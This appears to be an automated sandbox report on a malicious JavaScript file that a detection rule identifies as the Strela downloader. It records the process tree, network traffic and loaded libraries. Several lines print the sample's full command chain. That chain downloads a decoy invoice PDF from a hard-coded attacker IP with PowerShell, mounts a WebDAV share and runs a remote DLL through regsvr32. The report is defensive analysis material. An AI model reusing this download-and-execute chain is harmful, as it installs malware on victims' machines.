HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2118177067.000001B525790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2181847567.0000023139198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2181847567.0000023139198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/91
Source: svchost.exe, 00000009.00000002.3402796578.0000027DBBE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2181577873.0000027DBBC00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3560, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 225008411339129134.js

Initial sample: Strings found which are bigger than 50

Source: wscript.exe, 00000000.00000002.2117965757.000001B5256D9000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: C:\Windows\System32\WScript.exe;.VBP

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4308

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2508:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o0gjs5k0.hgv.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1752,i,9395285687119838462,18365448632051607,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1752,i,9395285687119838462,18365448632051607,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
